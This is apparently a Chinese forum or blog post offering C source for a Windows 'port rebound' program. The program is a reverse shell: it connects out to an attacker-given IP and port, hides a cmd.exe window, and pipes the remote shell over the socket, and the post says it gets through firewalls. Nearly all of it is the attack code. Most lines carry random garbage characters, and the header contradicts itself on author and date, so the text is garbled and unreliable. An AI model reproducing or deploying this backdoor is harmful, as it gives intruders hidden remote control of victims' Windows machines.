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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 lSPQXu*[  
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/* ============================== 0/6f9A  
Rebound port in Windows NT ~dkS-6q~Q  
By wind,2006/7 Z]@my,+Z;  
===============================*/ k^w!|%a[  
#include nVoL7ew+  
#include #e}Q|pF  
$>hPB[[  
#pragma comment(lib,"wsock32.lib") D. fP Hq  
i/6(~v  
void OutputShell(); %d c=Q SL  
SOCKET sClient; +g(>]!swb  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; [d`J2^z}  
/vYuwaWG=  
void main(int argc,char **argv) l:-$ulAx  
{ \xlelsmB*  
WSADATA stWsaData; XT9]+b8(M  
int nRet; 7v]>ID  
SOCKADDR_IN stSaiClient,stSaiServer; 5V':3o;D__  
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if(argc != 3) D|9xD  
{ )[C]1N=tK  
printf("Useage:\n\rRebound DestIP DestPort\n"); FO<PMK   
return; fa//~$#"{L  
} 6ey{+8  
l ~b# Y&  
WSAStartup(MAKEWORD(2,2),&stWsaData); ?NOc]'<(G  
-|bnvPmE  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); z\Hg@J&#  
3yX^93  
stSaiClient.sin_family = AF_INET; tg_xk+x  
stSaiClient.sin_port = htons(0); i882r=TE3  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); n`8BE9h^  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 2Nrb}LH  
{ /H/@7>  
printf("Bind Socket Failed!\n"); -GJ~xcf0  
return; ~2PD%+e7]  
} 0/5 a3-3{  
++w7jVi9  
stSaiServer.sin_family = AF_INET; A=JPmsj.  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); {$-lXw4  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Hb55RilC  
%CV@FdB  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 4 3V {q  
{ & Xm !i(i  
printf("Connect Error!"); >o9tlO)  
return; mE=%+:o.  
} L1ro\H  
OutputShell(); |L[/]@|  
} {k*rD!tT  
akATwSrU  
void OutputShell() i=T!4'Zu  
{ :%7y6V*  
char szBuff[1024]; T&+*dyNxMK  
SECURITY_ATTRIBUTES stSecurityAttributes; +txFdc  
OSVERSIONINFO stOsversionInfo; 2n+tc  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; UR?biq  
STARTUPINFO stStartupInfo; 6l]jm j)/  
char *szShell; Nk?eVJ)  
PROCESS_INFORMATION stProcessInformation; 6i'GM`>w  
unsigned long lBytesRead; o1lhVM`15  
) rw!. )  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); xs,,)jF(u  
lt08 E2p9  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ^%ZbjJ7|j  
stSecurityAttributes.lpSecurityDescriptor = 0; IJ\4S  
stSecurityAttributes.bInheritHandle = TRUE; ^x2zMB\t  
NH9"89]E  
3MX&%_wUhB  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); WN#S%G:Q)  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); U/}YpLgdD  
0OCmyy  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); PtsQV!  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; RGEgYOO  
stStartupInfo.wShowWindow = SW_HIDE; 7}#zF]vHNi  
stStartupInfo.hStdInput = hReadPipe; B^Sxp=~Au  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Gk:tT1  
f|f)Kys%5  
GetVersionEx(&stOsversionInfo); 4N6JKS  
rDI}X?JmX  
switch(stOsversionInfo.dwPlatformId) Lmsc ~~  
{ 8]h~jNku  
case 1: ['m7Wry  
szShell = "command.com"; $,u>,  
break; *!oV?N[eA'  
default: XM1; >#kz  
szShell = "cmd.exe"; HpP82X xj  
break; &?g!)O  
} $Mg[e*ct  
E<RPMd @a  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); fofYe0z  
MHj RPh  
send(sClient,szMsg,77,0);   6a}  
while(1) w1Txz4JqB  
{ qXqGhHoe;  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); U}T{r%9  
if(lBytesRead) moS0y?N  
{ QjOO^6Fh  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); tNoPpIu  
send(sClient,szBuff,lBytesRead,0); "w&IO}j;=  
} 9*Q6/?v  
else |xawguJ  
{ )_n=it$  
lBytesRead=recv(sClient,szBuff,1024,0); &cGa~#-u  
if(lBytesRead<=0) break; ?}RPn f  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); +>3jMs~&  
} [s4|+  
} 3c%_RI.  
m^%@bu,  
return; e&nE  
}
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